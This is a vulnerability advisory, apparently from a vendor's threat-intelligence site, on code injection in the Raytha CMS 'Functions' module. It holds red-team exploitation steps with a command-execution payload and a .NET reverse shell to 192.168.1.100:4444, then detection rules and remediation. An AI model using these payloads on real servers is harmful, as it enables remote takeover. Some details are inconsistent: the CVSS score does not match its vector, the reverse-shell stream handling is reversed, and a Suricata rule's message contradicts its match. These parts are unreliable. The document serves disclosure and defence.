CVE-2025-15540
Executive Summary
CVE-2025-15540 is a critical security vulnerability in Raytha CMS, affecting versions prior to 1.4.6. The vulnerability resides in the "Functions" module, which allows privileged users to write custom JavaScript code to extend application functionality. Due to a lack of sandboxing or access restrictions, this JavaScript code can instantiate .NET components and perform arbitrary operations within the application’s hosting environment. This effectively grants an authenticated attacker with sufficient privileges the ability to execute arbitrary code on the server, leading to full system compromise.
The vulnerability is classified under CWE-94 (Improper Control of Generation of Code - Code Injection). While no CVSS vector is officially assigned, the impact is severe, as it allows for remote code execution (RCE) with the privileges of the hosting application. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the technical severity remains high.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Raytha CMS is a .NET-based application. The vulnerability is not in a third-party package but in the core application logic. However, the ability to instantiate .NET components means that any .NET library available in the hosting environment could be leveraged, potentially including those from NuGet packages. This expands the attack surface to the entire .NET ecosystem available on the server.
CVSS Breakdown & Threat Level
While no official CVSS vector is provided, a reasonable assessment based on the description is:
- Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): High (H) – The attacker must be a privileged user (e.g., admin) to access the "Functions" module.
- User Interaction (UI): None (N) – No user interaction is required.
- Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): High (H) – Full read access to system data.
- Integrity (I): High (H) – Full write access to system data.
- Availability (A): High (H) – Full control over system availability.
Estimated CVSS Score: 8.8 (High)
Threat Level: Critical – The vulnerability allows for complete server compromise.
Deep Dive & Mechanics
The "Functions" module in Raytha CMS is designed to allow privileged users to write custom JavaScript code to add functionality. The core issue is that this JavaScript code is executed in a context that has access to .NET runtime components. Without proper sandboxing (e.g., using a restricted AppDomain or process isolation), the JavaScript can:
- Instantiate .NET objects: Using
System.Activatoror similar mechanisms. - Access the file system: Read, write, or delete files.
- Execute system commands: Via
System.Diagnostics.Process. - Access network resources: Make outbound connections.
- Interact with the database: If the application's database context is exposed.
The attack flow is:
- Authentication: The attacker must have a privileged account (e.g., admin) on the Raytha CMS instance.
- Access Functions Module: Navigate to the "Functions" module in the admin panel.
- Inject Malicious Code: Write JavaScript code that instantiates .NET components to perform malicious actions.
- Trigger Execution: The code is executed when the function is invoked (e.g., via a page load or API call).
- Compromise: The attacker gains arbitrary code execution on the server.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Vulnerable: No sandboxing
function executeUserCode(userCode) {
// Directly evaluate user-provided JavaScript
eval(userCode);
}
Patched Code (Conceptual):
// Patched: Sandboxed execution
function executeUserCode(userCode) {
// Use a restricted JavaScript engine or sandbox
var sandbox = new Sandbox();
sandbox.execute(userCode);
}
The exact patch details are not publicly available, but the fix likely involves:
- Restricting access to .NET components: Removing or limiting the ability to instantiate arbitrary .NET objects.
- Implementing a sandbox: Using a JavaScript engine that runs in a restricted environment (e.g., Jint with limited capabilities).
- Input validation and sanitization: Ensuring that user-provided code cannot escape the intended scope.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Environment: Deploy Raytha CMS version 1.4.5 (or earlier) on a Windows Server with IIS.
- Access: Obtain admin credentials (e.g., via phishing or default credentials).
- Tooling: Use a web browser with developer tools.
Exploitation Steps:
- Login: Authenticate as an admin user.
- Navigate: Go to the "Functions" module (e.g.,
/Admin/Functions). - Create a New Function: Click "Add New Function".
- Inject Payload: In the code editor, enter the following JavaScript:
// Exploit: Execute system command
var process = System.Diagnostics.Process.Start("cmd.exe", "/c whoami > C:\\temp\\output.txt");
process.WaitForExit();
- Save and Trigger: Save the function and trigger it (e.g., by visiting a page that calls the function).
- Verify: Check
C:\temp\output.txtfor the output of thewhoamicommand.
Advanced Payload (Reverse Shell):
// Reverse shell using .NET
var ip = "192.168.1.100";
var port = 4444;
var client = new System.Net.Sockets.TcpClient(ip, port);
var stream = client.GetStream();
var process = new System.Diagnostics.Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardInput = true;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.Start();
process.StandardInput.BaseStream.CopyTo(stream);
stream.CopyTo(process.StandardOutput.BaseStream);
process.WaitForExit();
Blue Team
Detection Steps:
- Monitor Admin Activity: Log all access to the "Functions" module. Alert on creation or modification of functions.
- Code Review: Implement a manual or automated review process for all custom functions.
- Network Monitoring: Monitor for outbound connections from the web server to unknown IPs (potential reverse shells).
- File Integrity Monitoring: Monitor for new files created in sensitive directories (e.g.,
C:\temp). - Process Monitoring: Alert on unexpected child processes spawned by the web application (e.g.,
cmd.exe,powershell.exe).
Indicators of Compromise (IOCs)
- File IOCs:
- Unexpected files in
C:\tempor other writable directories. - Modified or new
.jsfiles in the Raytha CMS functions directory.
- Unexpected files in
- Network IOCs:
- Outbound connections from the web server to unusual IPs/ports.
- DNS queries to suspicious domains.
- Process IOCs:
cmd.exeorpowershell.exespawned by the web application process (e.g.,w3wp.exe).
- Log IOCs:
- Admin user activity logs showing creation/modification of functions.
- Event ID 4688 (Windows) showing new process creation with suspicious command lines.
Detection Engineering
YARA Rule
rule CVE_2025_15540_Raytha_Exploit {
meta:
description = "Detects JavaScript code attempting to instantiate .NET components in Raytha CMS"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-15540"
strings:
$dotnet1 = "System.Diagnostics.Process" nocase
$dotnet2 = "System.IO.File" nocase
$dotnet3 = "System.Net.Sockets" nocase
$dotnet4 = "System.Activator" nocase
$dotnet5 = "System.Reflection" nocase
$dotnet6 = "System.Management" nocase
$dotnet7 = "Microsoft.Win32" nocase
$dotnet8 = "System.Data.SqlClient" nocase
$dotnet9 = "System.Web" nocase
$dotnet10 = "System.Xml" nocase
condition:
any of ($dotnet*)
}
Sigma Rule
title: CVE-2025-15540 - Raytha CMS Functions Module Code Injection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential exploitation of CVE-2025-15540 via admin activity in Raytha CMS
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-15540
logsource:
product: windows
service: security
detection:
selection:
EventID: 4688
NewProcessName|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\wscript.exe'
- '\cscript.exe'
ParentProcessName|endswith: '\w3wp.exe'
condition: selection
falsepositives:
- Legitimate administrative tasks
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-15540 - Raytha CMS Outbound Connection from Admin"; flow:to_server,established; content:"POST"; http_method; content:"/Admin/Functions"; http_uri; content:"System.Diagnostics.Process"; fast_pattern; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update Raytha CMS to version 1.4.6 or later.
- Restrict Access: Limit access to the "Functions" module to only trusted administrators.
- Review Functions: Audit all existing custom functions for malicious code.
Long-Term Mitigations:
- Implement Sandboxing: Ensure that any code execution environment is properly sandboxed.
- Input Validation: Validate and sanitize all user-provided code.
- Least Privilege: Run the web application with the minimum necessary privileges.
- Monitoring: Implement robust logging and monitoring for admin activities and process creation.
Workarounds (if patching is not immediately possible):
- Disable the "Functions" module entirely if not needed.
- Use a Web Application Firewall (WAF) to block requests containing .NET class names in the request body.
Valters IT
DevSecOps & Cyber Threat Intelligence